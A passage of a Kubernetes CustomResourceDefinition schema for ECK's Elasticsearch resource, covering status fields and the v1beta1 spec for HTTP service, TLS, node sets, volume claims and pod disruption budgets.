                                type: string
                              status:
                                description: NewNodeStatus states if a new node is
                                  being created, or if the upscale is delayed.
                                type: string
                            required:
                            - name
                            - status
                            type: object
                          type: array
                      type: object
                  required:
                  - downscale
                  - upgrade
                  - upscale
                  type: object
                monitoringAssociationStatus:
                  additionalProperties:
                    description: AssociationStatus is the status of an association
                      resource.
                    type: string
                  description: |-
                    AssociationStatusMap is the map of association's namespaced name string to its AssociationStatus. For resources that
                    have a single Association of a given type (for ex. single ES reference), this map contains a single entry.
                  type: object
                observedGeneration:
                  description: |-
                    ObservedGeneration is the most recent generation observed for this Elasticsearch cluster.
                    It corresponds to the metadata generation, which is updated on mutation by the API Server.
                    If the generation observed in status diverges from the generation in metadata, the Elasticsearch
                    controller has not yet processed the changes contained in the Elasticsearch specification.
                  format: int64
                  type: integer
                phase:
                  description: ElasticsearchOrchestrationPhase is the phase Elasticsearch
                    is in from the controller point of view.
                  type: string
                version:
                  description: |-
                    Version of the stack resource currently running. During version upgrades, multiple versions may run
                    in parallel: this value specifies the lowest version currently running.
                  type: string
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
    - additionalPrinterColumns:
      - jsonPath: .status.health
        name: health
        type: string
      - description: Available nodes
        jsonPath: .status.availableNodes
        name: nodes
        type: integer
      - description: Elasticsearch version
        jsonPath: .spec.version
        name: version
        type: string
      - jsonPath: .status.phase
        name: phase
        type: string
      - jsonPath: .metadata.creationTimestamp
        name: age
        type: date
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: Elasticsearch represents an Elasticsearch resource in a Kubernetes
            cluster.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: ElasticsearchSpec holds the specification of an Elasticsearch
                cluster.
              properties:
                http:
                  description: HTTP holds HTTP layer settings for Elasticsearch.
                  properties:
                    service:
                      description: Service defines the template for the associated
                        Kubernetes Service object.
                      properties:
                        metadata:
                          description: |-
                            ObjectMeta is the metadata of the service.
                            The name and namespace provided here are managed by ECK and will be ignored.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              type: object
                            finalizers:
                              items:
                                type: string
                              type: array
                            labels:
                              additionalProperties:
                                type: string
                              type: object
                            name:
                              type: string
                            namespace:
                              type: string
                          type: object
                        spec:
                          description: Spec is the specification of the service.
                          properties:
                            allocateLoadBalancerNodePorts:
                              description: |-
                                allocateLoadBalancerNodePorts defines if NodePorts will be automatically
                                allocated for services with type LoadBalancer.  Default is "true". It
                                may be set to "false" if the cluster load-balancer does not rely on
                                NodePorts.  If the caller requests specific NodePorts (by specifying a
                                value), those requests will be respected, regardless of this field.
                                This field may only be set for services with type LoadBalancer and will
                                be cleared if the type is changed to any other type.
                              type: boolean
                            clusterIP:
                              description: |-
                                clusterIP is the IP address of the service and is usually assigned
                                randomly. If an address is specified manually, is in-range (as per
                                system configuration), and is not in use, it will be allocated to the
                                service; otherwise creation of the service will fail. This field may not
                                be changed through updates unless the type field is also being changed
                                to ExternalName (which requires this field to be blank) or the type
                                field is being changed from ExternalName (in which case this field may
                                optionally be specified, as describe above).  Valid values are "None",
                                empty string (""), or a valid IP address. Setting this to "None" makes a
                                "headless service" (no virtual IP), which is useful when direct endpoint
                                connections are preferred and proxying is not required.  Only applies to
                                types ClusterIP, NodePort, and LoadBalancer. If this field is specified
                                when creating a Service of type ExternalName, creation will fail. This
                                field will be wiped when updating a Service to type ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            clusterIPs:
                              description: |-
                                ClusterIPs is a list of IP addresses assigned to this service, and are
                                usually assigned randomly.  If an address is specified manually, is
                                in-range (as per system configuration), and is not in use, it will be
                                allocated to the service; otherwise creation of the service will fail.
                                This field may not be changed through updates unless the type field is
                                also being changed to ExternalName (which requires this field to be
                                empty) or the type field is being changed from ExternalName (in which
                                case this field may optionally be specified, as describe above).  Valid
                                values are "None", empty string (""), or a valid IP address.  Setting
                                this to "None" makes a "headless service" (no virtual IP), which is
                                useful when direct endpoint connections are preferred and proxying is
                                not required.  Only applies to types ClusterIP, NodePort, and
                                LoadBalancer. If this field is specified when creating a Service of type
                                ExternalName, creation will fail. This field will be wiped when updating
                                a Service to type ExternalName.  If this field is not specified, it will
                                be initialized from the clusterIP field.  If this field is specified,
                                clients must ensure that clusterIPs[0] and clusterIP have the same
                                value.


                                This field may hold a maximum of two entries (dual-stack IPs, in either order).
                                These IPs must correspond to the values of the ipFamilies field. Both
                                clusterIPs and ipFamilies are governed by the ipFamilyPolicy field.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalIPs:
                              description: |-
                                externalIPs is a list of IP addresses for which nodes in the cluster
                                will also accept traffic for this service.  These IPs are not managed by
                                Kubernetes.  The user is responsible for ensuring that traffic arrives
                                at a node with this IP.  A common example is external load-balancers
                                that are not part of the Kubernetes system.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalName:
                              description: |-
                                externalName is the external reference that discovery mechanisms will
                                return as an alias for this service (e.g. a DNS CNAME record). No
                                proxying will be involved.  Must be a lowercase RFC-1123 hostname
                                (https://tools.ietf.org/html/rfc1123) and requires `type` to be "ExternalName".
                              type: string
                            externalTrafficPolicy:
                              description: |-
                                externalTrafficPolicy describes how nodes distribute service traffic they
                                receive on one of the Service's "externally-facing" addresses (NodePorts,
                                ExternalIPs, and LoadBalancer IPs). If set to "Local", the proxy will configure
                                the service in a way that assumes that external load balancers will take care
                                of balancing the service traffic between nodes, and so each node will deliver
                                traffic only to the node-local endpoints of the service, without masquerading
                                the client source IP. (Traffic mistakenly sent to a node with no endpoints will
                                be dropped.) The default value, "Cluster", uses the standard behavior of
                                routing to all endpoints evenly (possibly modified by topology and other
                                features). Note that traffic sent to an External IP or LoadBalancer IP from
                                within the cluster will always get "Cluster" semantics, but clients sending to
                                a NodePort from within the cluster may need to take traffic policy into account
                                when picking a node.
                              type: string
                            healthCheckNodePort:
                              description: |-
                                healthCheckNodePort specifies the healthcheck nodePort for the service.
                                This only applies when type is set to LoadBalancer and
                                externalTrafficPolicy is set to Local. If a value is specified, is
                                in-range, and is not in use, it will be used.  If not specified, a value
                                will be automatically allocated.  External systems (e.g. load-balancers)
                                can use this port to determine if a given node holds endpoints for this
                                service or not.  If this field is specified when creating a Service
                                which does not need it, creation will fail. This field will be wiped
                                when updating a Service to no longer need it (e.g. changing type).
                                This field cannot be updated once set.
                              format: int32
                              type: integer
                            internalTrafficPolicy:
                              description: |-
                                InternalTrafficPolicy describes how nodes distribute service traffic they
                                receive on the ClusterIP. If set to "Local", the proxy will assume that pods
                                only want to talk to endpoints of the service on the same node as the pod,
                                dropping the traffic if there are no local endpoints. The default value,
                                "Cluster", uses the standard behavior of routing to all endpoints evenly
                                (possibly modified by topology and other features).
                              type: string
                            ipFamilies:
                              description: |-
                                IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this
                                service. This field is usually assigned automatically based on cluster
                                configuration and the ipFamilyPolicy field. If this field is specified
                                manually, the requested family is available in the cluster,
                                and ipFamilyPolicy allows it, it will be used; otherwise creation of
                                the service will fail. This field is conditionally mutable: it allows
                                for adding or removing a secondary IP family, but it does not allow
                                changing the primary IP family of the Service. Valid values are "IPv4"
                                and "IPv6".  This field only applies to Services of types ClusterIP,
                                NodePort, and LoadBalancer, and does apply to "headless" services.
                                This field will be wiped when updating a Service to type ExternalName.


                                This field may hold a maximum of two entries (dual-stack families, in
                                either order).  These families must correspond to the values of the
                                clusterIPs field, if specified. Both clusterIPs and ipFamilies are
                                governed by the ipFamilyPolicy field.
                              items:
                                description: |-
                                  IPFamily represents the IP Family (IPv4 or IPv6). This type is used
                                  to express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ipFamilyPolicy:
                              description: |-
                                IPFamilyPolicy represents the dual-stack-ness requested or required by
                                this Service. If there is no value provided, then this field will be set
                                to SingleStack. Services can be "SingleStack" (a single IP family),
                                "PreferDualStack" (two IP families on dual-stack configured clusters or
                                a single IP family on single-stack clusters), or "RequireDualStack"
                                (two IP families on dual-stack configured clusters, otherwise fail). The
                                ipFamilies and clusterIPs fields depend on the value of this field. This
                                field will be wiped when updating a service to type ExternalName.
                              type: string
                            loadBalancerClass:
                              description: |-
                                loadBalancerClass is the class of the load balancer implementation this Service belongs to.
                                If specified, the value of this field must be a label-style identifier, with an optional prefix,
                                e.g. "internal-vip" or "example.com/internal-vip". Unprefixed names are reserved for end-users.
                                This field can only be set when the Service type is 'LoadBalancer'. If not set, the default load
                                balancer implementation is used, today this is typically done through the cloud provider integration,
                                but should apply for any default implementation. If set, it is assumed that a load balancer
                                implementation is watching for Services with a matching class. Any default load balancer
                                implementation (e.g. cloud providers) should ignore Services that set this field.
                                This field can only be set when creating or updating a Service to type 'LoadBalancer'.
                                Once set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.
                              type: string
                            loadBalancerIP:
                              description: |-
                                Only applies to Service Type: LoadBalancer.
                                This feature depends on whether the underlying cloud-provider supports specifying
                                the loadBalancerIP when a load balancer is created.
                                This field will be ignored if the cloud-provider does not support the feature.
                                Deprecated: This field was under-specified and its meaning varies across implementations.
                                Using it is non-portable and it may not support dual-stack.
                                Users are encouraged to use implementation-specific annotations when available.
                              type: string
                            loadBalancerSourceRanges:
                              description: |-
                                If specified and supported by the platform, this will restrict traffic through the cloud-provider
                                load-balancer will be restricted to the specified client IPs. This field will be ignored if the
                                cloud-provider does not support the feature."
                                More info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ports:
                              description: |-
                                The list of ports that are exposed by this service.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                description: ServicePort contains information on service's
                                  port.
                                properties:
                                  appProtocol:
                                    description: |-
                                      The application protocol for this port.
                                      This is used as a hint for implementations to offer richer behavior for protocols that they understand.
                                      This field follows standard Kubernetes label syntax.
                                      Valid values are either:


                                      * Un-prefixed protocol names - reserved for IANA standard service names (as per
                                      RFC-6335 and https://www.iana.org/assignments/service-names).


                                      * Kubernetes-defined prefixed names:
                                        * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-
                                        * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455
                                        * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455


                                      * Other protocols should use implementation-defined prefixed names such as
                                      mycompany.com/my-custom-protocol.
                                    type: string
                                  name:
                                    description: |-
                                      The name of this port within the service. This must be a DNS_LABEL.
                                      All ports within a ServiceSpec must have unique names. When considering
                                      the endpoints for a Service, this must match the 'name' field in the
                                      EndpointPort.
                                      Optional if only one ServicePort is defined on this service.
                                    type: string
                                  nodePort:
                                    description: |-
                                      The port on each node on which this service is exposed when type is
                                      NodePort or LoadBalancer.  Usually assigned by the system. If a value is
                                      specified, in-range, and not in use it will be used, otherwise the
                                      operation will fail.  If not specified, a port will be allocated if this
                                      Service requires one.  If this field is specified when creating a
                                      Service which does not need it, creation will fail. This field will be
                                      wiped when updating a Service to no longer need it (e.g. changing type
                                      from NodePort to ClusterIP).
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport
                                    format: int32
                                    type: integer
                                  port:
                                    description: The port that will be exposed by
                                      this service.
                                    format: int32
                                    type: integer
                                  protocol:
                                    default: TCP
                                    description: |-
                                      The IP protocol for this port. Supports "TCP", "UDP", and "SCTP".
                                      Default is TCP.
                                    type: string
                                  targetPort:
                                    anyOf:
                                    - type: integer
                                    - type: string
                                    description: |-
                                      Number or name of the port to access on the pods targeted by the service.
                                      Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.
                                      If this is a string, it will be looked up as a named port in the
                                      target Pod's container ports. If this is not specified, the value
                                      of the 'port' field is used (an identity map).
                                      This field is ignored for services with clusterIP=None, and should be
                                      omitted or set equal to the 'port' field.
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service
                                    x-kubernetes-int-or-string: true
                                required:
                                - port
                                type: object
                              type: array
                              x-kubernetes-list-map-keys:
                              - port
                              - protocol
                              x-kubernetes-list-type: map
                            publishNotReadyAddresses:
                              description: |-
                                publishNotReadyAddresses indicates that any agent which deals with endpoints for this
                                Service should disregard any indications of ready/not-ready.
                                The primary use case for setting this field is for a StatefulSet's Headless Service to
                                propagate SRV DNS records for its Pods for the purpose of peer discovery.
                                The Kubernetes controllers that generate Endpoints and EndpointSlice resources for
                                Services interpret this to mean that all endpoints are considered "ready" even if the
                                Pods themselves are not. Agents which consume only Kubernetes generated endpoints
                                through the Endpoints or EndpointSlice resources can safely assume this behavior.
                              type: boolean
                            selector:
                              additionalProperties:
                                type: string
                              description: |-
                                Route service traffic to pods with label keys and values matching this
                                selector. If empty or not present, the service is assumed to have an
                                external process managing its endpoints, which Kubernetes will not
                                modify. Only applies to types ClusterIP, NodePort, and LoadBalancer.
                                Ignored if type is ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/
                              type: object
                              x-kubernetes-map-type: atomic
                            sessionAffinity:
                              description: |-
                                Supports "ClientIP" and "None". Used to maintain session affinity.
                                Enable client IP based session affinity.
                                Must be ClientIP or None.
                                Defaults to None.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            sessionAffinityConfig:
                              description: sessionAffinityConfig contains the configurations
                                of session affinity.
                              properties:
                                clientIP:
                                  description: clientIP contains the configurations
                                    of Client IP based session affinity.
                                  properties:
                                    timeoutSeconds:
                                      description: |-
                                        timeoutSeconds specifies the seconds of ClientIP type session sticky time.
                                        The value must be >0 && <=86400(for 1 day) if ServiceAffinity == "ClientIP".
                                        Default value is 10800(for 3 hours).
                                      format: int32
                                      type: integer
                                  type: object
                              type: object
                            trafficDistribution:
                              description: |-
                                TrafficDistribution offers a way to express preferences for how traffic is
                                distributed to Service endpoints. Implementations can use this field as a
                                hint, but are not required to guarantee strict adherence. If the field is
                                not set, the implementation will apply its default routing strategy. If set
                                to "PreferClose", implementations should prioritize endpoints that are
                                topologically close (e.g., same zone).
                                This is an alpha field and requires enabling ServiceTrafficDistribution feature.
                              type: string
                            type:
                              description: |-
                                type determines how the Service is exposed. Defaults to ClusterIP. Valid
                                options are ExternalName, ClusterIP, NodePort, and LoadBalancer.
                                "ClusterIP" allocates a cluster-internal IP address for load-balancing
                                to endpoints. Endpoints are determined by the selector or if that is not
                                specified, by manual construction of an Endpoints object or
                                EndpointSlice objects. If clusterIP is "None", no virtual IP is
                                allocated and the endpoints are published as a set of endpoints rather
                                than a virtual IP.
                                "NodePort" builds on ClusterIP and allocates a port on every node which
                                routes to the same endpoints as the clusterIP.
                                "LoadBalancer" builds on NodePort and creates an external load-balancer
                                (if supported in the current cloud) which routes to the same endpoints
                                as the clusterIP.
                                "ExternalName" aliases this service to the specified externalName.
                                Several other fields do not apply to ExternalName services.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types
                              type: string
                          type: object
                      type: object
                    tls:
                      description: TLS defines options for configuring TLS for HTTP.
                      properties:
                        certificate:
                          description: |-
                            Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.
                            The referenced secret should contain the following:


                            - `ca.crt`: The certificate authority (optional).
                            - `tls.crt`: The certificate (or a chain).
                            - `tls.key`: The private key to the first certificate in the certificate chain.
                          properties:
                            secretName:
                              description: SecretName is the name of the secret.
                              type: string
                          type: object
                        selfSignedCertificate:
                          description: SelfSignedCertificate allows configuring the
                            self-signed certificate generated by the operator.
                          properties:
                            disabled:
                              description: Disabled indicates that the provisioning
                                of the self-signed certifcate should be disabled.
                              type: boolean
                            subjectAltNames:
                              description: SubjectAlternativeNames is a list of SANs
                                to include in the generated HTTP TLS certificate.
                              items:
                                description: SubjectAlternativeName represents a SAN
                                  entry in a x509 certificate.
                                properties:
                                  dns:
                                    description: DNS is the DNS name of the subject.
                                    type: string
                                  ip:
                                    description: IP is the IP address of the subject.
                                    type: string
                                type: object
                              type: array
                          type: object
                      type: object
                  type: object
                image:
                  description: Image is the Elasticsearch Docker image to deploy.
                  type: string
                nodeSets:
                  description: NodeSets allow specifying groups of Elasticsearch nodes
                    sharing the same configuration and Pod templates.
                  items:
                    description: NodeSet is the specification for a group of Elasticsearch
                      nodes sharing the same configuration and a Pod template.
                    properties:
                      config:
                        description: Config holds the Elasticsearch configuration.
                        type: object
                      count:
                        description: Count of Elasticsearch nodes to deploy.
                        format: int32
                        minimum: 1
                        type: integer
                      name:
                        description: Name of this set of nodes. Becomes a part of
                          the Elasticsearch node.name setting.
                        maxLength: 23
                        pattern: '[a-zA-Z0-9-]+'
                        type: string
                      podTemplate:
                        description: PodTemplate provides customisation options (labels,
                          annotations, affinity rules, resource requests, and so on)
                          for the Pods belonging to this NodeSet.
                        type: object
                      volumeClaimTemplates:
                        description: |-
                          VolumeClaimTemplates is a list of persistent volume claims to be used by each Pod in this NodeSet.
                          Every claim in this list must have a matching volumeMount in one of the containers defined in the PodTemplate.
                          Items defined here take precedence over any default claims added by the operator with the same name.
                        items:
                          description: PersistentVolumeClaim is a user's request for
                            and claim to a persistent volume
                          properties:
                            apiVersion:
                              description: |-
                                APIVersion defines the versioned schema of this representation of an object.
                                Servers should convert recognized schemas to the latest internal value, and
                                may reject unrecognized values.
                                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
                              type: string
                            kind:
                              description: |-
                                Kind is a string value representing the REST resource this object represents.
                                Servers may infer this from the endpoint the client submits requests to.
                                Cannot be updated.
                                In CamelCase.
                                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
                              type: string
                            metadata:
                              description: |-
                                Standard object's metadata.
                                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  type: object
                                finalizers:
                                  items:
                                    type: string
                                  type: array
                                labels:
                                  additionalProperties:
                                    type: string
                                  type: object
                                name:
                                  type: string
                                namespace:
                                  type: string
                              type: object
                            spec:
                              description: |-
                                spec defines the desired characteristics of a volume requested by a pod author.
                                More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#persistentvolumeclaims
                              properties:
                                accessModes:
                                  description: |-
                                    accessModes contains the desired access modes the volume should have.
                                    More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#access-modes-1
                                  items:
                                    type: string
                                  type: array
                                  x-kubernetes-list-type: atomic
                                dataSource:
                                  description: |-
                                    dataSource field can be used to specify either:
                                    * An existing VolumeSnapshot object (snapshot.storage.k8s.io/VolumeSnapshot)
                                    * An existing PVC (PersistentVolumeClaim)
                                    If the provisioner or an external controller can support the specified data source,
                                    it will create a new volume based on the contents of the specified data source.
                                    When the AnyVolumeDataSource feature gate is enabled, dataSource contents will be copied to dataSourceRef,
                                    and dataSourceRef contents will be copied to dataSource when dataSourceRef.namespace is not specified.
                                    If the namespace is specified, then dataSourceRef will not be copied to dataSource.
                                  properties:
                                    apiGroup:
                                      description: |-
                                        APIGroup is the group for the resource being referenced.
                                        If APIGroup is not specified, the specified Kind must be in the core API group.
                                        For any other third-party types, APIGroup is required.
                                      type: string
                                    kind:
                                      description: Kind is the type of resource being
                                        referenced
                                      type: string
                                    name:
                                      description: Name is the name of resource being
                                        referenced
                                      type: string
                                  required:
                                  - kind
                                  - name
                                  type: object
                                  x-kubernetes-map-type: atomic
                                dataSourceRef:
                                  description: |-
                                    dataSourceRef specifies the object from which to populate the volume with data, if a non-empty
                                    volume is desired. This may be any object from a non-empty API group (non
                                    core object) or a PersistentVolumeClaim object.
                                    When this field is specified, volume binding will only succeed if the type of
                                    the specified object matches some installed volume populator or dynamic
                                    provisioner.
                                    This field will replace the functionality of the dataSource field and as such
                                    if both fields are non-empty, they must have the same value. For backwards
                                    compatibility, when namespace isn't specified in dataSourceRef,
                                    both fields (dataSource and dataSourceRef) will be set to the same
                                    value automatically if one of them is empty and the other is non-empty.
                                    When namespace is specified in dataSourceRef,
                                    dataSource isn't set to the same value and must be empty.
                                    There are three important differences between dataSource and dataSourceRef:
                                    * While dataSource only allows two specific types of objects, dataSourceRef
                                      allows any non-core object, as well as PersistentVolumeClaim objects.
                                    * While dataSource ignores disallowed values (dropping them), dataSourceRef
                                      preserves all values, and generates an error if a disallowed value is
                                      specified.
                                    * While dataSource only allows local objects, dataSourceRef allows objects
                                      in any namespaces.
                                    (Beta) Using this field requires the AnyVolumeDataSource feature gate to be enabled.
                                    (Alpha) Using the namespace field of dataSourceRef requires the CrossNamespaceVolumeDataSource feature gate to be enabled.
                                  properties:
                                    apiGroup:
                                      description: |-
                                        APIGroup is the group for the resource being referenced.
                                        If APIGroup is not specified, the specified Kind must be in the core API group.
                                        For any other third-party types, APIGroup is required.
                                      type: string
                                    kind:
                                      description: Kind is the type of resource being
                                        referenced
                                      type: string
                                    name:
                                      description: Name is the name of resource being
                                        referenced
                                      type: string
                                    namespace:
                                      description: |-
                                        Namespace is the namespace of resource being referenced
                                        Note that when a namespace is specified, a gateway.networking.k8s.io/ReferenceGrant object is required in the referent namespace to allow that namespace's owner to accept the reference. See the ReferenceGrant documentation for details.
                                        (Alpha) This field requires the CrossNamespaceVolumeDataSource feature gate to be enabled.
                                      type: string
                                  required:
                                  - kind
                                  - name
                                  type: object
                                resources:
                                  description: |-
                                    resources represents the minimum resources the volume should have.
                                    If RecoverVolumeExpansionFailure feature is enabled users are allowed to specify resource requirements
                                    that are lower than previous value but must still be higher than capacity recorded in the
                                    status field of the claim.
                                    More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#resources
                                  properties:
                                    limits:
                                      additionalProperties:
                                        anyOf:
                                        - type: integer
                                        - type: string
                                        pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                        x-kubernetes-int-or-string: true
                                      description: |-
                                        Limits describes the maximum amount of compute resources allowed.
                                        More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                      type: object
                                    requests:
                                      additionalProperties:
                                        anyOf:
                                        - type: integer
                                        - type: string
                                        pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                        x-kubernetes-int-or-string: true
                                      description: |-
                                        Requests describes the minimum amount of compute resources required.
                                        If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                        otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                        More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                      type: object
                                  type: object
                                selector:
                                  description: selector is a label query over volumes
                                    to consider for binding.
                                  properties:
                                    matchExpressions:
                                      description: matchExpressions is a list of label
                                        selector requirements. The requirements are
                                        ANDed.
                                      items:
                                        description: |-
                                          A label selector requirement is a selector that contains values, a key, and an operator that
                                          relates the key and values.
                                        properties:
                                          key:
                                            description: key is the label key that
                                              the selector applies to.
                                            type: string
                                          operator:
                                            description: |-
                                              operator represents a key's relationship to a set of values.
                                              Valid operators are In, NotIn, Exists and DoesNotExist.
                                            type: string
                                          values:
                                            description: |-
                                              values is an array of string values. If the operator is In or NotIn,
                                              the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                              the values array must be empty. This array is replaced during a strategic
                                              merge patch.
                                            items:
                                              type: string
                                            type: array
                                            x-kubernetes-list-type: atomic
                                        required:
                                        - key
                                        - operator
                                        type: object
                                      type: array
                                      x-kubernetes-list-type: atomic
                                    matchLabels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                        map is equivalent to an element of matchExpressions, whose key field is "key", the
                                        operator is "In", and the values array contains only "value". The requirements are ANDed.
                                      type: object
                                  type: object
                                  x-kubernetes-map-type: atomic
                                storageClassName:
                                  description: |-
                                    storageClassName is the name of the StorageClass required by the claim.
                                    More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#class-1
                                  type: string
                                volumeAttributesClassName:
                                  description: |-
                                    volumeAttributesClassName may be used to set the VolumeAttributesClass used by this claim.
                                    If specified, the CSI driver will create or update the volume with the attributes defined
                                    in the corresponding VolumeAttributesClass. This has a different purpose than storageClassName,
                                    it can be changed after the claim is created. An empty string value means that no VolumeAttributesClass
                                    will be applied to the claim but it's not allowed to reset this field to empty string once it is set.
                                    If unspecified and the PersistentVolumeClaim is unbound, the default VolumeAttributesClass
                                    will be set by the persistentvolume controller if it exists.
                                    If the resource referred to by volumeAttributesClass does not exist, this PersistentVolumeClaim will be
                                    set to a Pending state, as reflected by the modifyVolumeStatus field, until such as a resource
                                    exists.
                                    More info: https://kubernetes.io/docs/concepts/storage/volume-attributes-classes/
                                    (Alpha) Using this field requires the VolumeAttributesClass feature gate to be enabled.
                                  type: string
                                volumeMode:
                                  description: |-
                                    volumeMode defines what type of volume is required by the claim.
                                    Value of Filesystem is implied when not included in claim spec.
                                  type: string
                                volumeName:
                                  description: volumeName is the binding reference
                                    to the PersistentVolume backing this claim.
                                  type: string
                              type: object
                          type: object
                        type: array
                    required:
                    - count
                    - name
                    type: object
                  minItems: 1
                  type: array
                podDisruptionBudget:
                  description: |-
                    PodDisruptionBudget provides access to the default pod disruption budget for the Elasticsearch cluster.
                    The default budget selects all cluster pods and sets `maxUnavailable` to 1. To disable, set `PodDisruptionBudget`
                    to the empty value (`{}` in YAML).
                  properties:
                    metadata:
                      description: |-
                        ObjectMeta is the metadata of the PDB.
                        The name and namespace provided here are managed by ECK and will be ignored.
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          type: object
                        finalizers:
                          items:
                            type: string
                          type: array
                        labels:
                          additionalProperties:
                            type: string
                          type: object
                        name:
                          type: string
                        namespace:
                          type: string
                      type: object
                    spec:
                      description: Spec is the specification of the PDB.
                      properties:
                        maxUnavailable:
                          anyOf:
                          - type: integer
                          - type: string
                          description: |-
                            An eviction is allowed if at most "maxUnavailable" pods selected by
                            "selector" are unavailable after the eviction, i.e. even in absence of
                            the evicted pod. For example, one can prevent all voluntary evictions
                            by specifying 0. This is a mutually exclusive setting with "minAvailable".
                          x-kubernetes-int-or-string: true
                        minAvailable:
                          anyOf:
                          - type: integer
                          - type: string
                          description: |-
                            An eviction is allowed if at least "minAvailable" pods selected by
                            "selector" will still be available after the eviction, i.e. even in the
                            absence of the evicted pod.  So for example you can prevent all voluntary
                            evictions by specifying "100%".
                          x-kubernetes-int-or-string: true
                        selector:
                          description: |-
                            Label query over pods whose evictions are managed by the disruption
                            budget.
                            A null selector selects no pods.
                            An empty selector ({}) also selects no pods, which differs from standard behavior of selecting all pods.
                            In policy/v1, an empty selector will select all pods in the namespace.
                          properties:
                            matchExpressions:
                              description: matchExpressions is a list of label selector
                                requirements. The requirements are ANDed.
                              items:
                                description: |-
                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                  relates the key and values.
                                properties:
                                  key:
                                    description: key is the label key that the selector
                                      applies to.
                                    type: string
                                  operator:
                                    description: |-
                                      operator represents a key's relationship to a set of values.
                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                    type: string
                                  values:
                                    description: |-
                                      values is an array of string values. If the operator is In or NotIn,
                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                      the values array must be empty. This array is replaced during a strategic
                                      merge patch.
                                    items:
                                      type: string
                                    type: array
                                    x-kubernetes-list-type: atomic
                                required:
                                - key
                                - operator
                                type: object
                              type: array
                              x-kubernetes-list-type: atomic
                            matchLabels:
                              additionalProperties:
                                type: string
                              description: |-
                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                              type: object
                          type: object
                          x-kubernetes-map-type: atomic
                        unhealthyPodEvictionPolicy:
                          description: |-
                            UnhealthyPodEvictionPolicy defines the criteria for when unhealthy pods
                            should be considered for eviction. Current implementation considers healthy pods,
                            as pods that have status.conditions item with type="Ready",status="True".


                            Valid policies are IfHealthyBudget and AlwaysAllow.
                            If no policy is specified, the default behavior will be used,
                            which corresponds to the IfHealthyBudget policy.


                            IfHealthyBudget policy means that running pods (status.phase="Running"),
                            but not yet healthy can be evicted only if the guarded application is not
                            disrupted (status.currentHealthy is at least equal to status.desiredHealthy).
                            Healthy pods will be subject to the PDB for eviction.


                            AlwaysAllow policy means that all running pods (status.phase="Running"),
                            but not yet healthy are considered disrupted and can be evicted regardless
                            of whether the criteria in a PDB is met. This means perspective running
                            pods of a disrupted application might not get a chance to become healthy.
                            Healthy pods will be subject to the PDB for eviction.


                            Additional policies may be added in the future.
                            Clients making eviction decisions should disallow eviction of unhealthy pods
                            if they encounter an unrecognized policy in this field.


